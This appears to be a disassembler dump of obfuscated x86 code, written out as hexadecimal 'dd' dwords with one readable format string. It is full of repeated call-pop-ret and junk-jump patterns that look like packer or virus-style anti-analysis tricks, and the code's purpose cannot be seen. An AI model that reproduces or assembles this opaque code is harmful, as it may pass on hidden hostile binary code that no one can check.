4C75073Ah, 0AEC03257h dd 2B5EFD75h, 33FC52FBh, 0D18B49C9h, 0DB33C033h, 8AC132ACh dd 8AEA8ACDh, 6608B6D6h, 0D166EBD1h, 660973D8h, 66504135h dd 5449F381h, 0EB75CEFEh, 0D333C833h, 0F7D5754Fh, 8BD1F7D2h dd 10C0C1C2h, 5AC18B66h, 0F74D03Bh, 4C6835Eh, 127D85FFh dd 6FE90935h, 5EFFFFFFh, 0ED8589FCh, 0FC093525h, 127D858Bh dd 8E90935h, 0A6000000h, 0F920F1FBh, 0D1CB3D0Ah, 68C0FE0h dd 31000000h, 352BA98Dh, 8503F909h, 9350A79h, 0FCF62BFCh dd 68F0F96h, 29000000h, 3505019Dh, 60AD6609h, 0CD98D89h dd 0BF0F0935h, 0E0C161C8h, 5E86002h, 91000000h, 2F00BA2h dd 1D8D8509h, 35F0935h, 3530898Dh, 85036109h, 9350571h dd 28818D89h, 60960935h, 2625858Bh, 840F0935h, 12h, 0CE8h dd 0E6BC8400h, 0AB6F6F5h, 4F519E44h, 0F615F0Fh, 0B81h dd 6E900h, 0BA7A0000h, 0A7035CBCh, 0DE9ADh, 49AA0000h dd 0F6438E70h, 0CCB17624h, 8BDE62DAh, 0F524244Ch, 24244403h dd 1299BD31h, 44890935h, 0BF601C24h, 5876DE88h, 66609661h dd 0AC61CF8Bh, 89C932F5h, 352FC59Dh, 0FC1FE09h, 188Dh dd 13E900h, 46640000h, 586EA8E3h, 5CA94B52h, 0BAF30E7Eh dd 4CC0709Bh, 0FD0D069h, 0B583h, 14E96000h, 0C1000000h dd 0DFFBF431h, 11187461h, 0FAF3CED8h, 574C66F3h, 610DA12Fh dd 830FD0D0h, 92h, 178B0Fh, 12E90000h, 81000000h, 922A806Fh dd 5D434BDCh, 362178F7h, 311FD1CCh, 0DC8060CAh, 7D9D23C2h dd 61093501h, 820FD0D0h, 62h, 7E9h, 0C10AF500h, 3D4F6FD6h dd 820FD0D0h, 4Eh, 0FC9FEF8h, 0FFFF8889h, 858960FFh, 9352B09h dd 20C48361h, 2444C7F5h, 0FCh, 1B8F800h, 0F8000000h, 70998D8Dh dd 0AE90935h, 34000000h, 0FABA70D5h, 831DE6D4h, 0E1FFF5A7h dd 0C850Fh, 860F0000h, 6, 2291B501h, 85C60935h, 935179Dh dd 0E961F900h, 0Dh, 80787083h, 0C9E7DE9Dh, 0B8C8C1C4h dd 8C203h, 12419D29h, 0E9960935h, 0Dh, 0AE93DD04h, 0AF5E73A8h dd 379BCF1Fh, 6E95040h, 7B000000h, 0A905AFE4h, 89F59646h dd 35105D95h, 41B58909h, 6009353Fh, 6890FF5h, 0F000000h dd 85h, 8D896100h, 9353F72h, 4EDB529h, 0B58D0935h, 9353E07h dd 35858DF8h, 0F005B7Eh, 685h, 11BD8900h, 0FF09350Dh, 0DE9D0h dd 2B140000h, 30176FEEh, 0D69FE965h, 5E86192Dh, 8E9h, 0F3413000h dd 41BA7177h, 60F5C3D5h, 12759D89h, 0DE90935h, 4D000000h dd 25AB6B58h, 77591529h, 8EB3B107h, 41B58B61h, 0F09353Fh dd 118Bh, 0CE900h, 0AEE10000h, 5245466Eh, 91323AD6h, 8D8B957Ch dd 9353F72h, 1840Fh, 2BF80000h, 0CE9C0h, 0DCB0000h, 9A75ADB0h dd 0B940C57Ah, 0D98B1051h, 0DAE9F8h, 32F90000h, 810FF526h dd 6, 2CB9B529h, 2B20935h, 2295BD09h, 89E90935h, 0E9000000h dd 8, 545175CAh, 0D47DBAC5h, 2960C232h, 352A8DBDh, 0ED852909h dd 61093504h, 751D7A05h, 0B995898Ah, 0E9093510h, 11h, 0CD1800B6h dd 52D129D9h, 5D99704Ah, 0B9794085h, 60CC8A28h, 0CE8h dd 0BC7A3B00h, 2D62A9Ch, 735EEFE8h, 0F8C081B4h, 5E4389C8h dd 1DF9BD8Bh, 0D3610935h, 17B060C8h, 273D9D01h, 35610935h dd 98D10842h, 60CAFEF8h, 8E8h, 67CCCC00h, 91507EE6h, 2C83BEF2h dd 61580A24h, 850FD20Ah, 0FFFFFF7Ch, 499D8960h, 0B3093528h dd 604B61F2h, 6E9h, 402B2600h, 89F6E1AFh, 352FBD85h, 0F466109h dd 18Eh, 0B589FC00h, 9351C39h, 850FDB0Bh, 0FFFFFF1Fh, 6860Fh dd 0BD890000h, 9351C65h, 419589CFh, 9350Ah, 2DB52900h dd 0E9093501h, 12h, 73A8AE93h, 0CF1FAF5Eh, 3B40379Bh, 0C8EB394Dh dd 732h, 239DB589h, 0B9600935h, 7A9A1E15h, 61DF8B66h, 8B0F0000h dd 16h, 11E9h, 638B700h, 2D7BB8D0h, 6D95AAECh, 9D0C0DEFh dd 0F5C0F2h, 148B0F00h, 0E9000000h, 0Fh, 514C297h, 2B7CDFA0h dd 0AB7B0E76h, 8D421C55h, 35389885h, 0C8F0F09h, 0F000000h dd 680h, 8E0F00h, 89000000h, 35282185h, 95858909h, 8D09350Ch dd 353D6885h, 0E1850109h, 0E909352Ch, 6, 0D50D2E9Fh, 8589229Fh dd 93526EDh, 0EE8h, 0B5155D00h, 5AF8087Bh, 790A1D57h, 0BF9D78C3h dd 41A84EF6h, 0F6CF805Ah, 6789C281h, 8D090000h, 9352DC9h dd 5B53C02Bh, 0F1034FFh, 58Eh, 0C1816600h, 0F5E8DB4h, 685h dd 0C1958900h, 81093510h, 73A643C6h, 0CD8D893Ah, 81093524h dd 33E6C4C6h, 68B0F72h, 0B000000h, 3532099Dh, 23F68109h dd 8B39FA26h, 23489DFh, 0E880Fh, 8B600000h, 3506658Dh dd 0C1952909h, 6109350Ch, 3C65E881h, 8B601EC3h, 352E19BDh dd 61BDB309h, 3C61C081h, 34BB1EC3h, 8131A8FAh, 0FF9924F8h dd 81850FFFh, 0E9FFFFFFh, 6, 4AE749DBh, 14EB6073h, 4 dup(0) dd 8Bh, 4172858Dh, 85890935h, 9352499h, 40B2BD83h, 0F000935h dd 12384h, 9D85C600h, 56093517h, 0DFDF9468h, 2404819Ch dd 373F8DA5h, 0EC9B5FFh, 858D0935h, 9353898h, 8589D0FFh dd 93540A6h, 179D85C6h, 0E8560935h, 4, 9CA8B852h, 24448B50h dd 89008B04h, 58042444h, 0EC9B5FFh, 858D0935h, 9353898h dd 8589D0FFh, 93540AAh, 0A568046Ah, 817F00F8h, 0E8A52434h dd 858B7F00h, 93540B6h, 1F405h, 2E0C100h, 24048950h, 95FF006Ah dd 93540AAh, 40AE8589h, 0D88B0935h, 0FFFFFFB8h, 9995FFFFh dd 8B093524h, 9995FFC3h, 0E9093524h, 84h, 40B2BD83h, 0F000935h dd 185h, 8B57C300h, 3540AEBDh, 8583AB09h, 93540AEh, 83C35F04h dd 3540B2BDh, 850F0009h, 1, 0AD8360C3h, 93540AEh, 0AE9D8B04h dd 83093540h, 0FFFFC7Bh, 1D85h, 37A06800h, 481D912h, 0EE486024h dd 0FF006A26h, 0A695FF33h, 61093540h, 1DE9C3h, 0F5680000h dd 8113CAC7h, 47F52434h, 6A13CAh, 95FF33FFh, 93540A6h dd 40AEAD83h, 0E9040935h, 0FFFFFFB1h, 9D3E948h, 0CB260000h dd 4A34C665h, 0C722ED61h, 7B5C48A3h, 0D401E6FEh, 7D1602BDh dd 0C52DF362h, 0C421DA70h, 0ED7B433Bh, 83FCB65h, 0D030E56Dh dd 694D1BF1h, 9F0EA3F9h, 776661D2h, 0C430E768h, 0C421887Ch dd 0EE744539h, 825CB65h, 0CF2AF872h, 775105F1h, 911AB4E2h dd 3B5202B9h, 0D530E37Fh, 8A20DA31h, 0F860452Ch, 4723D265h dd 0CF24F873h, 0FFh, 62h dup(0) dd 0CB260000h, 463ECF65h, 0D02AFE7Dh, 754618F1h, 0DC02B4EAh dd 685704F8h, 0C426E42Dh, 0C532883Eh, 0AA714420h, 463FD737h dd 8222E47Dh, 631406B8h, 9111B3E2h, 6F4515ABh, 0AB6DEB68h dd 0CF38F85Dh, 0A6705934h, 443FD765h, 8221EB7Bh, 7C141CB8h dd 910EA9FFh, 745B09B5h, 0C063FF7Fh, 0D874CC3Eh, 0EB615930h dd 5171D637h, 8237FF7Bh, 7D5B1AA1h, 9F0EA7FFh, 48h dup(0) dd 0CB260000h, 4923C165h, 0D020E177h, 6E141BF6h, 910FA9E2h dd 3B450DB0h, 0CF26E36Fh, 0DF3BCE70h, 0F8354E3Bh, 413FCC30h dd 0CB65ED7Ah, 754D48BFh, 0C243B4F8h, 7E421FA1h, 0AC49A860h dd 0CB31C400h, 0AA394F26h, 473DCC30h, 0CB65EE75h, 685248A5h dd 0DC43ABE2h, 695901BDh, 0CF22A674h, 0CF268834h, 0F8745E26h dd 47288231h, 0D265F861h, 685307A3h, 4DABECh, 61h dup(0) dd 0CC260000h, 834CE2Ch, 0D037E577h, 7F4018A4h, 914DE7E9h dd 685F048Ch, 0CE31F62Dh, 0C735DA37h, 0F9744275h, 4D34C065h dd 0C328AA7Ah, 6F4401BFh, 0D417A7E1h, 75574CBCh, 0C02EA669h dd 0A031CA29h, 0AD614358h, 46388236h, 0D626EF72h, 78140CB4h dd 9102E6F4h, 6E44058Eh, 0D32CA67Eh, 0CB26CB70h, 0EE704136h dd 4005826Bh, 0C465F97Dh, 3A5104B8h, 960DA9FAh, 74414CACh dd 0C063ED7Fh, 0C539D13Eh, 3B4F27h, 0E0h dup(0) dd 4C570000h, 446D754Eh, 50734C4Ch, 746F72h, 30h, 8 dup(0) aExitStatusD db 'Exit Status = %d',0 align 4 dd 0 dd 2E64E900h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1D0424h, 52420000h, 2E5F20C3h, 0C21D1FCDh, 89A89D52h dd 3503F1B5h, 6BEA8009h, 57006AFCh, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1A04h, 0C3574700h, 0F40401E2h, 9D8FD4Ch dd 352DCD85h, 81C08B09h, 869E4C2h, 0A1BD8355h, 93526h dd 0BD830975h, 9353079h, 50137400h, 0B8C08B53h, 1, 0B2DA9D8Dh dd 0D3FF0937h, 0BD83585Bh, 9353079h, 50117400h, 1B853h dd 9D8D0000h, 937B18Bh, 585BD3FFh, 80DE8B66h, 0C08B56D6h dd 83D38B66h, 352855BDh, 840F0009h, 19Ah, 0E855006Ah, 3 dd 5DC35D20h, 4246C89h, 4244481h, 16h, 33C35545h, 0BD83AB15h dd 93529E1h, 6F840F00h, 8B000001h, 35278995h, 8BF96009h dd 3529E185h, 62AABA09h, 0E80508B2h, 0E9000003h, 14h, 0F7C22014h dd 4033D997h, 0AD6BDA67h, 0B94EFF4Eh, 8D7FFAE7h, 68F0F90h dd 50000000h, 4FABA66h, 0D68B505Ah, 0D88B5190h, 0B6858D5Ah dd 0E909354Bh, 11h, 0D6E0AEBBh, 7A053678h, 0FCD1E26h, 211EB213h dd 489501Ch, 51006A24h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1604h, 0C3514100h, 898CF035h, 3503FDB5h, 5D9D8B09h dd 60093530h, 8BC7BF0Fh, 350DA985h, 858D6109h, 9354B94h dd 0FE9h, 52620600h, 0E7E68EFDh, 0ED7B7841h, 937F6036h dd 0CE95150h, 0ED000000h, 6C9C7E7Ah, 11D9E5B9h, 5B323B2Fh dd 60240489h, 1F29B58Bh, 61F90935h, 275995FFh, 6B60935h dd 12B99D8Bh, 0C4830935h, 0D381660Ch, 858DE487h, 9354B94h dd 175D9589h, 8B900935h, 0BB5150DAh, 371B9F35h, 6A905Bh dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h dd 0EED422C3h, 897EDE82h, 3510AD85h, 6A026A09h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h dd 13A6C357h, 0E3D8ECFBh, 9D2BFFDAh, 9350BCDh, 0FF17D280h dd 68857495h, 61D68B00h, 0B59D8B60h, 8909350Ah, 35043195h dd 85C76109h, 9354BC7h, 1, 14CB8166h, 0BB6696FAh, 0F50C58Fh dd 286h, 96F38A00h, 10E9h, 5E5B1F00h, 0CF122C87h, 0F4731E74h dd 2770186Dh, 78B58925h, 6A09354Bh, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 80E0C352h dd 66829F75h, 4234CB81h, 0BD83D18Ah, 9351C19h, 7C850F01h dd 60000000h, 11E9h, 0E2FA2000h, 71A12BCDh, 2A2E923Ch dd 5F2F7590h, 0B70F6BA7h, 0F88361C1h, 58850F05h, 6A000000h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1D042444h dd 46000000h, 0FA5AC356h, 0F3BA9B74h, 71C02BA6h, 9E9h dd 7F0A7300h, 137621Dh, 0B8AB07h, 6A000000h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h dd 38F4C357h, 83D1B2DDh, 350D55BDh, 840F0009h, 12h, 81665CB2h dd 0B89D1FF3h, 0 dd 3359529h, 6A600935h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 14042444h, 47000000h, 0B744C357h, 0AD858B7Eh dd 6A093526h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1D042444h, 47000000h, 5676C357h, 70B07A77h, 80F9C0Fh dd 2EE1958Bh, 9D230935h, 93503CDh, 8B02C083h, 708589D0h dd 6609354Bh, 0C61C16BAh, 5157FF00h, 793CEA81h, 5A5B7CFBh dd 179D85C6h, 2B530935h, 350E319Dh, 43F96809h, 8B60F980h dd 0CE9DAh, 0A3B0000h, 99D4D57h, 2C9ED988h, 8161D7FBh dd 0B212434h, 6A0531h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 140424h, 51410000h, 0B5FF2FC3h, 935167Dh, 27919D89h dd 858D0935h, 9387B70h, 0E09377BAh, 6AD0FF04h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h dd 2ACCC356h, 0D371CE26h, 735D3FAh, 8298589h, 0BD830935h dd 9351F91h, 0BF850F01h, 89000000h, 350E1DB5h, 9D096009h dd 93528F5h, 10799529h, 61610935h, 24B59D89h, 85C60935h dd 935179Dh, 56006A45h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1D04h, 0C3564600h, 485F2A17h, 24407AA7h, 99686A88h dd 0BA89051Bh, 0F7A7C9Eh, 29240481h, 0F515B1Dh, 0B5FFD7BFh dd 935167Dh, 1D3D8509h, 858D0935h, 9387B70h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 36C35343h, 0D0FFC6ABh dd 6ECB8166h, 66006AB4h, 7B46C381h, 6AD0FFh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 160424h, 53430000h, 0F7E2F4C3h dd 16FDB529h, 0BD830935h, 935129Dh, 0C2850F01h, 6A000000h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 16042444h dd 43000000h, 10DBC353h, 0AD858BADh, 8B093526h, 35267D9Dh dd 49BA6609h, 77E9AFh, 958B0000h, 9353049h, 0E9525050h dd 0Ch, 7D3501D5h, 6DA78135h, 344C1DF9h, 9E9310Fh, 87000000h dd 0C88D9052h, 0C39B4B14h, 489585Ah, 29BD2924h, 6A09351Fh dd 55006A14h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h dd 0C3554500h, 5F940A66h, 65456B72h, 0D98AA2ECh, 82995FFh dd 952B0935h, 9351BC9h, 0D899D8Bh, 89580935h, 3502A1BDh dd 388009h, 0FF86850Fh, 8589FFFFh, 9350BF9h, 2F058589h dd 0C60935h, 85896101h, 93522C9h, 0E35BD83h, 0F000935h dd 8984h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1604h, 0C3564600h, 6076A52Ch, 2E25BD8Bh, 0B58B0935h dd 93521D5h, 1D9D8B61h, 6A093532h, 0D99D03FFh, 0FF093516h dd 35082995h, 57006A09h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1904h, 0C3574700h, 8B86977Eh, 14E9B7C5h, 0B2000000h dd 0B9EF9932h, 6E4B9916h, 0A56B399h, 1B29CE4h, 8BB47874h dd 3506219Dh, 0FFADE909h, 0BB66FFFFh, 85C7B812h, 9350E35h dd 1, 0CD9D0356h, 5A09352Eh, 4B7C8589h, 64B20935h, 55BB6650h dd 24048935h, 1F359589h, 60FC0935h, 12E9h, 6F2B6300h, 0EAB4530Ah dd 742C1184h, 26ABD6E5h, 89AD292Dh, 351F1185h, 89056A09h dd 3527F9BDh, 94858D09h, 6A09354Bh, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 8CCDC353h dd 23AF92EFh, 0B0D7A9D4h, 8B90D38Bh, 0B66050D8h, 8D0FA7h dd 61000000h, 8850F90h, 0F000000h, 284h, 8D5B5300h, 354B8485h dd 7E909h, 48860000h, 57BE3E34h, 0DE8B9021h, 5E850h, 24A20000h dd 8A7DB862h, 8B905BDDh, 35016D95h, 0E195FF09h, 0E9093511h dd 13h, 0D917DE4Dh, 6D2316B3h, 4D00715Dh, 0CBBB17A0h, 8D8B05C1h dd 3579C08Dh, 2DC28109h, 0B417730h, 8D1174C0h, 354B9485h dd 0D1FF5009h, 4BB28589h, 0AEB0935h, 4BB285C7h, 0FFFF0935h dd 89F9FFFFh, 350AA995h, 61DA8B09h, 85C6C7B7h, 935179Dh dd 51006A4Dh, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1C04h dd 0C3514100h, 4BD0CFCEh, 0CCA841B7h, 1D958963h, 68093528h dd 7F906556h, 24BA6660h, 13E8FAh, 39CC0000h, 0E6B4FFD4h dd 0DC26287Dh, 547AA39Fh, 8F3E6714h, 0B8BE662Bh, 81615B41h dd 11522404h, 958B24A5h, 9350605h, 1F39B5FFh, 6A0935h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h dd 1D0938C3h, 4F318A1Ch, 8057AE6Fh, 895A24F7h, 35305595h dd 0CD9D0B09h, 8D09350Ch, 387B7085h, 598D8909h, 0FF09350Ch dd 56006AD0h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h dd 0C3564600h, 89DE8AC1h, 3525A185h, 50006A09h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1704h, 0C3504000h, 0C861EBE0h dd 6830Fh, 9D8B0000h, 9351625h, 179D85C6h, 6A450935h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h dd 92BFC353h, 2291E05Fh, 6E8577Ch, 0CD000000h, 0C5AD80E8h dd 8B0F79h, 5A000000h, 0C4A0685Bh, 0FE88624h, 7F000000h dd 21F666CDh, 46834684h, 3E21F040h, 12B64801h, 2404815Bh dd 84DA4C9h, 28E0Fh, 13B60000h, 167DB5FFh, 6A0935h, 3E850h dd 58200000h, 448958C3h, 44810424h, 190424h, 50400000h dd 14507BC3h, 66606113h, 0B4DDE281h, 858DD78Bh, 9387B70h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 10C35040h dd 89D0FF5Dh, 352BE1B5h, 0C9858909h, 0F09351Ah, 58Fh, 6C60BB00h dd 0BD8957BCh, 9351125h, 6AD28Bh, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1A0424h, 56460000h, 9D0DE6C3h, 90BE6149h dd 66D2BF0Fh, 850FD98Ch, 1, 4C1F6F8h, 1C0840Fh, 9D8B0000h dd 9352569h, 0DEE9h, 0C37DBB00h, 0B58B36EAh, 9350C05h dd 660DB060h, 0A820D781h, 80C68161h, 66000011h, 53E9D381h dd 0FE9h, 0DA6FD00h, 555022DDh, 60F39C33h, 0FF689B12h dd 15F9BD83h, 0F000935h, 3185h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1A04h, 0C3554500h, 0D772FDDh dd 898936A4h, 350C618Dh, 65E909h, 8B660000h, 3E83F8D3h dd 58840F00h, 0B6000000h, 6AF960FAh, 11E95714h, 94000000h dd 570B97A9h, 65620BE4h, 216B7E03h, 0EBDFA567h, 2995FF5Ah dd 6A093508h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1C042444h, 46000000h, 0FE9CC356h, 9B4FBD1Ch, 611D11B7h dd 0A7E9B6B7h, 8BFFFFFFh, 0CD958BD1h, 0C7093525h, 106h dd 0D99D8B00h, 83093525h, 354B7CBDh, 850F0509h, 0CAh, 8BDFBF0Fh dd 351AC9B5h, 12E909h, 0A6280000h, 0C1BD6682h, 0AB43D987h dd 0E947A0DDh, 793252A9h, 64B9h, 6880F00h, 81000000h, 1D68D6F2h dd 0E83E8021h, 2E840Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 180424h, 56460000h, 47BCF3C3h, 8B66F105h dd 28E9D7h, 85890000h, 9351C31h, 0C2057E80h, 36840Fh, 0CE80000h dd 99000000h, 0D55FEDDAh, 46955D69h, 81DA1BF2h, 14FC29DBh dd 52465A68h, 5BD6E380h, 9A850F49h, 52FFFFFFh, 1AC214BAh dd 27E95B6Dh, 0BA000000h dd 17F1E498h, 1095B589h, 6A0935h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 140424h, 53430000h, 66582CC3h, 4E04F281h dd 1B91BD83h, 0F000935h, 0FC84h, 0E1BA6600h, 0F60F8ADh dd 58Dh, 0F3816600h, 85C6A1BDh, 935179Dh, 0B99D8B54h, 0E8093522h dd 4, 0FF4EBEF4h, 50D18B66h, 4B96060h, 0E9111E11h, 7, 0CFFC2211h dd 6140A73Eh, 2890Fh, 61600000h, 24448B61h, 0D18B6604h dd 0D38A008Bh, 4244489h, 6A585A57h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 17042444h, 40000000h, 3D88C350h dd 9D8BD2F1h, 9350BE5h, 167DB5FFh, 0D18A0935h, 7B70858Dh dd 0BA660938h, 0D0FFA854h, 1D558589h, 6A0935h, 0FE960h dd 0BB3D0000h, 4284AD59h, 946ECCA5h, 16101E53h, 58D8BB2h dd 6109351Bh, 1B91B5FFh, 80BB0935h, 0FF5214ACh, 57006AD0h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h, 0C3574700h dd 61D38BAEh, 14E9h, 8A00B800h, 0BE224B3Dh, 6BC139D3h dd 0D8679E22h, 0E03A0CD4h, 4985C7E2h, 1093512h, 81000000h dd 9AD8E3EAh, 5BB36062h, 0A9F14168h, 11E82Dh, 0B7190000h dd 0BE4DFEAFh, 145E1664h, 0B8473971h, 0F3DF268h, 681h dd 860F00h, 5A000000h, 0C1243481h, 602DA9F1h, 2CC99589h dd 0DA8B0935h, 0FFF6A61h, 288h, 0FFD68B00h, 351EA195h dd 6820F09h, 31000000h, 3502F1BDh, 0C7806109h, 0E860501Dh dd 6, 3D5A9E9Fh, 0B9668D9Bh, 61592D5Ch, 6A240489h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h dd 2CA7C350h, 7AEBC332h, 0C99D8BCCh, 8B093523h, 3527BD85h dd 6850F09h, 89000000h, 352DB9BDh, 0FC00B09h, 2C84h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h dd 61E7C6F3h, 3195FFECh, 8009351Bh, 0C38051D3h, 3585C7D3h dd 1093516h, 0B7000000h, 0D1BD832Dh, 9350Bh, 3B840Fh, 0D2800000h dd 6E965h, 0AAA40000h, 92CB96FDh, 224195FFh, 6A0935h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h dd 0B093BFC3h, 89CAB4F3h, 35035195h, 41BD8309h, 93527h dd 2C840Fh, 0BF0F0000h, 0ED95FFDBh, 6A09350Ch, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h dd 0FBAC352h, 0BA661446h, 0BD83F290h, 9353229h, 47840F00h dd 1000000h, 350A3DBDh, 89BD8309h, 93511h, 34850Fh, 0BB660000h dd 95FF0F4Fh, 9350A85h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 15h, 61C35141h, 0CB8166C4h, 8F0FE988h, 2 dd 0BD83D78Ah, 9352749h, 34840F00h, 0E8000000h, 0Ch, 97B38893h dd 439E6665h, 610537C6h, 24C1B589h, 815A0935h, 352AC185h dd 400309h, 81D18B00h, 352CA985h, 400309h, 89858900h, 0F09352Ah dd 52006A31h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h dd 0C3524200h, 8DB2B913h, 355A518Dh, 89D78B09h, 351C7195h dd 89018909h, 35061D95h, 6AC23309h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 9AD9C355h dd 0BC830416h, 8D9589F7h, 81093512h, 11AB53E2h, 4418929h dd 0D19D8B56h, 5B09352Ah, 9533310Fh, 9352CD5h, 5A5D8D8Dh dd 8D890935h, 9351D6Dh, 0B5310189h, 93512A1h, 5656C233h dd 5A5B5A51h, 50044189h, 21F59533h, 835A0935h, 353301BDh dd 840F0009h, 2Dh, 95FFD18Ah, 9351F19h, 1F01BD89h, 810F0935h dd 19h, 14E9h, 379BCF00h, 394D3B40h, 732C8EBh, 0E828EF02h dd 0E0F1BB55h, 51BD8333h, 109351Bh, 72850Fh, 8F0F0000h dd 5, 0F8EB8166h, 5800F31h, 51000000h, 5BD8B70Fh, 57E9h dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h dd 0C3574700h, 30917E89h, 71A4461Fh, 8E9h, 4E3F5400h, 69C378F9h dd 859D2903h, 8B093500h, 355B6AB5h, 6C709h, 8B000000h dd 355957B5h, 6C709h, 0CF000000h, 852903B6h, 9351EF5h dd 1635BD83h, 0F000935h, 14784h, 7DBD8300h, 109351Fh, 12B850Fh dd 85090000h, 9351135h, 4B708D8Bh, 0BD010935h, 9350E95h dd 0F0001C6h, 689h, 419D8B00h, 6009350Ah, 0E6E38166h, 4E817h dd 800000h, 8B660000h, 8B6650D1h, 24448BD3h, 7FADBA04h dd 8B5D9Bh, 9E8h, 5118F00h, 0E538EC5Bh, 9E82E12h, 0D9000000h dd 0CE4BA12h, 0B1AB5AAh, 820Fh, 5A5A0000h, 4244489h, 58D0F58h dd 0BB000000h, 1B8D0A64h, 958BFF6Ah, 935015Dh, 1EA195FFh dd 7E90935h, 67000000h, 0CDB2B0CCh, 6A61207Bh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h dd 17F4C355h, 4BAE749Fh, 0D6B88545h, 257D95FFh, 880F0935h dd 3, 8BEEE280h, 354B708Dh, 56006A09h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1604h, 0C3564600h, 0FE3F93FCh dd 51006A01h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1B04h dd 0C3514100h, 93693310h, 0FB1F3BBAh, 2EC19D8Bh, 8D0F0935h dd 11h, 0CE9h, 0DFA98C00h, 0FA70950Fh, 9B593D2h, 0A5BD8350h dd 109352Bh, 2850Fh, 0FC8A0000h, 0BA66C08Bh, 0BD83EA46h dd 93526A1h, 83097500h, 353079BDh, 1A740009h, 0C08B5350h dd 2AC1858Bh, 85890935h, 9352AC1h, 0B4389D8Dh, 0D3FF0937h dd 0BD83585Bh, 9353079h, 50187400h, 0C1858B53h, 8909352Ah dd 352AC185h, 279D8D09h, 0FF0937B1h, 89585BD3h, 35227D9Dh dd 31B52909h, 8B093532h, 53006AC0h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1D04h, 0C3534300h, 520F86A3h, 978CD528h dd 0F5565814h, 35BD835Bh, 93516h, 6C850Fh, 6A0000h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h dd 3DB5DFC3h, 0F25AA1Ch, 686h, 7D958B00h, 83093506h, 351B85BDh dd 840F0009h, 32h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 16h, 0D3C35141h, 0FE91609h, 0B5000000h, 0B1B1752Ah dd 0A0362D35h, 7CBD2366h, 0BD831E01h, 9351635h, 59840F00h dd 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 14042444h, 47000000h, 80EBC357h, 0B70F8FE7h, 15BD83DAh dd 93508h, 2A840Fh, 6A0000h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1C0424h, 50400000h, 0AF2B23C3h, 276170E2h dd 9D899C5Ch, 935321Dh dword_544450 dd 1635BD83h, 0F000935h, 3B84h, 50006A00h, 3E8h, 0C3582000h ; DATA XREF: ___:off_43D3A4o dd 24448958h, 24448104h, 1D04h, 0C3504000h, 0F0A2D446h dd 3AB9CBD3h, 0C780398Bh, 15BD83DEh, 93508h, 6840Fh, 9D8B0000h dd 9352745h, 1635BD83h, 0F000935h, 7484h, 56006A00h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h dd 3DE3B157h, 2DB589EAh, 0E9093516h, 7, 8021DA25h, 0FC2C2FECh dd 855BD83h, 0F000935h, 3484h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1A04h, 0C3564600h, 72635F0h, 0F7DC276h dd 0AE9D3B7h, 2F000000h, 595475DFh, 0C1FEDB10h, 35BD83C2h dd 93516h, 4C840Fh, 73BB0000h, 835FBA51h, 352861BDh, 840F0009h dd 3Ah, 4A59D8Bh, 95FF0935h, 9351265h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Ah, 8BC35242h, 0C2F452C3h, 0BD892D03h dd 9350DB5h, 2711958Bh, 0C08B0935h, 0CE9h, 415C5A00h, 75028567h dd 5D98BE19h, 0A1BD830Eh, 93526h, 0BD830975h, 9353079h dd 501A7400h, 8BC08B53h, 352CA985h, 0A9858909h, 8D09352Ch dd 37B49F9Dh, 5BD3FF09h, 